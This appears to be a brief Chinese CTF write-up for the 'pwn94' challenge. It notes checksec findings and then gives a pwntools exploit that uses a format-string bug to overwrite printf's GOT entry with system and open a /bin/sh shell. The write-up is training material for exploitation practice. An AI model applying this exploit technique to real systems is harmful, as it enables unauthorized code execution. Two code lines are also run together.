checksec:
32位 保护只开了NX
IDA32打开 查看函数:
可以进行多次的printf
存在system函数 用格式字符串漏洞 fmtstr_payload工具 劫持printf GOT为system PLT函数
偏移为6
exp:
from pwn import *
context.log_level = 'debug'p = process('./pwn94')
elf = ELF('./pwn94')
printf_got = elf.got['printf']
system_plt = elf.plt['system']payload = fmtstr_payload(6, {printf_got:system_plt})
p.sendline(payload)
p.sendline(b'/bin/sh\x00')
p.interactive()